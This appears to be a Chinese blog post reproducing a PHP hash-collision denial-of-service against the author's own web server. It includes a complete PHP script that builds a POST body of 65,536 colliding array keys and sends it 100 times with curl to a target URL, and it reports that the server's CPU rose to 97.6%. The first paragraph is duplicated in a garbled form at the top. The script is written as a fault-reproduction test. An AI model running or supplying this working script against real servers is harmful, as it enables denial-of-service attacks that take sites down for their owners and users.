我们在这台web服务器上编写一个PHP程序,目的是要测试机去Hash它,以便故障重现。 程序语言如下: <?php echo $showtime=date"Ymd H:i:s"; ? 执行后的效果是取当前服务器的时间。 找台有PHP环境的测试机器,这台机器我用虚拟机,里面有LAMP环境。进/usr/
我们在这台web服务器上编写一个PHP程序,目的是要测试机去Hash它,以便故障重现。
程序语言如下:
<?php
echo $showtime=date("Y-m-d H:i:s");
?>
执行后的效果是取当前服务器的时间。
找台有PHP环境的测试机器,这台机器我用虚拟机,里面有LAMP环境。进/usr/local/apache/htdocs目录,写一PHP网页,程序语言如下:
[root@blog htdocs]# Vi hash.php
自己用的时候要把注释去掉 !-- -- 要自行删除否则不能运行
<?php
$size = pow(2, 16);
$data = '';
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
$data .= $key.'=&';
}
$url = 'http://www.liuxxxxx.com/checktime.php';
$rs = array();
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER,0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
for ($i=0; $i<100; ++$i)
{
curl_exec($ch);
}
curl_close($ch);
?>
url地址,为你要作测试的目标机,i<100,表示最多100个并发。手工执行hash.php,进行hash碰撞。
[root@blog htdocs]# /usr/local/php/bin/php hash.php
在web服务器端,我们去看服务器的资源利用情况,CPU是97.6%,看样子单台虚拟机,拿100并发去Hash,就足够把web服务器的CPU利用率升至100%。
暂无评论
